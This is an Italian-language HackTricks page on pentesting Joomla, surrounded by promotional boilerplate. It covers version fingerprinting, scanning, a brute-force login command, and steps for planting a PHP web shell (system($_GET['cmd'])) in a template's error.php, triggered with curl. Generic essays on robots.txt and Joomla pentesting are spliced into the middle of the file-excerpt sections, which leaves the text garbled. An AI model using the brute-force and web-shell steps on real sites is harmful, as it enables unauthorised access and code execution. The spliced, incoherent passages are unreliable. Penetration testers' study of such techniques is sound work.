11 KiB
Joomla
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
- Lavori in una azienda di sicurezza informatica? Vuoi vedere la tua azienda pubblicizzata in HackTricks? O vuoi avere accesso all'ultima versione di PEASS o scaricare HackTricks in PDF? Controlla i PACCHETTI DI ABBONAMENTO!
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguimi su Twitter 🐦@carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR al repo hacktricks e al repo hacktricks-cloud.
Statistiche di Joomla
Joomla raccoglie alcune statistiche sull'utilizzo come la suddivisione delle versioni di Joomla, PHP e del database e i sistemi operativi del server utilizzati nelle installazioni di Joomla. Questi dati possono essere interrogati tramite la loro API pubblica.
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}
Enumerazione
Scoperta/Rilevamento
- Controlla i meta
curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
robots.txt
Il file robots.txt
è un file di testo utilizzato dai motori di ricerca per determinare quali pagine o directory di un sito web possono essere indicizzate. Questo file viene posizionato nella radice del sito web e contiene istruzioni per i crawler dei motori di ricerca.
Struttura del file robots.txt
Il file robots.txt
è composto da una serie di direttive che specificano quali pagine o directory devono essere escluse o consentite ai motori di ricerca. Le direttive sono organizzate nel seguente modo:
User-agent: [nome del crawler]
Disallow: [directory o pagina da escludere]
Allow: [directory o pagina da consentire]
Esempi di direttive
Ecco alcuni esempi di direttive comuni utilizzate nel file robots.txt
:
User-agent: *
indica che la direttiva si applica a tutti i crawler dei motori di ricerca.Disallow: /directory/
impedisce ai crawler di accedere a una specifica directory.Allow: /directory/pagina.html
consente ai crawler di accedere a una specifica pagina all'interno di una directory esclusa.
Importanza del file robots.txt nella sicurezza
Il file robots.txt
può essere utilizzato anche per nascondere informazioni sensibili o directory che non dovrebbero essere accessibili pubblicamente. Tuttavia, è importante notare che il file robots.txt
non fornisce una protezione completa e non dovrebbe essere utilizzato come unico meccanismo di sicurezza. Altre misure di sicurezza, come l'autenticazione e l'autorizzazione, devono essere implementate per proteggere adeguatamente il sito web.
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
- README.txt
Joomla
Joomla è un sistema di gestione dei contenuti (CMS) molto popolare utilizzato per creare e gestire siti web. Come qualsiasi altro CMS, Joomla può essere vulnerabile a diverse tecniche di attacco. In questa sezione, esploreremo alcune delle tecniche di pentesting utilizzate per testare la sicurezza di un sito Joomla.
Enumerazione
La fase di enumerazione è il primo passo nel processo di pentesting di un sito Joomla. L'obiettivo è raccogliere informazioni sul sito, come versione di Joomla, estensioni installate e utenti registrati. Queste informazioni possono essere utilizzate per identificare potenziali vulnerabilità e punti deboli nel sistema.
Enumerazione della versione di Joomla
Per determinare la versione di Joomla in esecuzione su un sito, è possibile utilizzare diversi metodi. Uno dei modi più comuni è cercare nel codice sorgente del sito o nelle intestazioni HTTP per trovare indizi sulla versione di Joomla utilizzata.
Un altro metodo è utilizzare strumenti di enumerazione automatica come Joomscan o Joomlavs. Questi strumenti possono eseguire una scansione del sito e restituire informazioni sulla versione di Joomla e sulle estensioni installate.
Enumerazione delle estensioni
Le estensioni di Joomla, come i plugin e i componenti, possono essere vulnerabili a diverse tecniche di attacco. Pertanto, è importante identificare le estensioni installate su un sito Joomla durante la fase di enumerazione.
Un modo per enumerare le estensioni è utilizzare strumenti di enumerazione automatica come Joomscan o Joomlavs. Questi strumenti possono eseguire una scansione del sito e restituire informazioni sulle estensioni installate.
Enumerazione degli utenti
Durante la fase di enumerazione, è anche importante identificare gli utenti registrati su un sito Joomla. Queste informazioni possono essere utilizzate per identificare potenziali account deboli o vulnerabili.
Un modo per enumerare gli utenti è utilizzare strumenti di enumerazione automatica come Joomscan o Joomlavs. Questi strumenti possono eseguire una scansione del sito e restituire informazioni sugli utenti registrati.
Vulnerabilità comuni
Una volta completata la fase di enumerazione, è possibile identificare potenziali vulnerabilità nel sito Joomla. Alcune delle vulnerabilità comuni includono:
- Cross-Site Scripting (XSS): consentono agli attaccanti di eseguire codice JavaScript malevolo sul sito.
- SQL Injection: consentono agli attaccanti di eseguire comandi SQL non autorizzati sul database del sito.
- Remote File Inclusion (RFI): consentono agli attaccanti di includere file remoti sul sito.
- Local File Inclusion (LFI): consentono agli attaccanti di includere file locali sul sito.
- Directory Traversal: consentono agli attaccanti di accedere a file e directory al di fuori della directory web root.
Exploiting
Una volta identificate le vulnerabilità, è possibile sfruttarle per ottenere l'accesso non autorizzato al sito Joomla. Questo può includere l'esecuzione di codice arbitrario, l'accesso al database o l'ottenimento di privilegi amministrativi.
Per sfruttare le vulnerabilità, è possibile utilizzare strumenti di hacking come Metasploit o Burp Suite. Questi strumenti forniscono una serie di moduli e script che possono essere utilizzati per automatizzare il processo di exploit.
Prevenzione
Per proteggere un sito Joomla dalle vulnerabilità, è importante seguire alcune best practice di sicurezza, come:
- Mantenere sempre aggiornato Joomla e le sue estensioni.
- Utilizzare password complesse per gli account amministrativi.
- Limitare l'accesso ai file di configurazione sensibili.
- Impostare correttamente i permessi dei file e delle directory.
- Utilizzare un firewall per filtrare il traffico indesiderato.
Seguendo queste best practice, è possibile ridurre significativamente il rischio di compromissione del sito Joomla.
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
Versione
- In /administrator/manifests/files/joomla.xml puoi vedere la versione.
- In /language/en-GB/en-GB.xml puoi ottenere la versione di Joomla.
- In plugins/system/cache/cache.xml puoi vedere una versione approssimativa.
Automatico
droopescan scan joomla --url http://joomla-site.local/
In 80,443 - Metodologia di Pentesting Web è una sezione sugli scanner CMS che possono scansionare Joomla.
Brute-Force
Puoi utilizzare questo script per tentare un attacco di forza bruta al login.
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
admin:admin
RCE (Esecuzione Remota di Codice)
Se sei riuscito a ottenere le credenziali dell'amministratore, puoi eseguire un RCE all'interno di esse aggiungendo un frammento di codice PHP per ottenere l'esecuzione remota di codice. Possiamo fare ciò personalizzando un template.
- Clicca su
Templates
in basso a sinistra sottoConfiguration
per accedere al menu dei template. - Clicca su un nome di template. Scegliamo
protostar
sotto l'intestazione della colonnaTemplate
. Questo ci porterà alla paginaTemplates: Customise
. - Infine, puoi cliccare su una pagina per visualizzare il codice sorgente. Scegliamo la pagina
error.php
. Aggiungeremo una riga di codice PHP per ottenere l'esecuzione del codice come segue: system($_GET['cmd']);
- Salva e Chiudi
curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id
Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!
- Lavori in una azienda di sicurezza informatica? Vuoi vedere la tua azienda pubblicizzata su HackTricks? O vuoi avere accesso all'ultima versione di PEASS o scaricare HackTricks in PDF? Controlla i PACCHETTI DI ABBONAMENTO!
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguimi su Twitter 🐦@carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR al repo hacktricks e al repo hacktricks-cloud.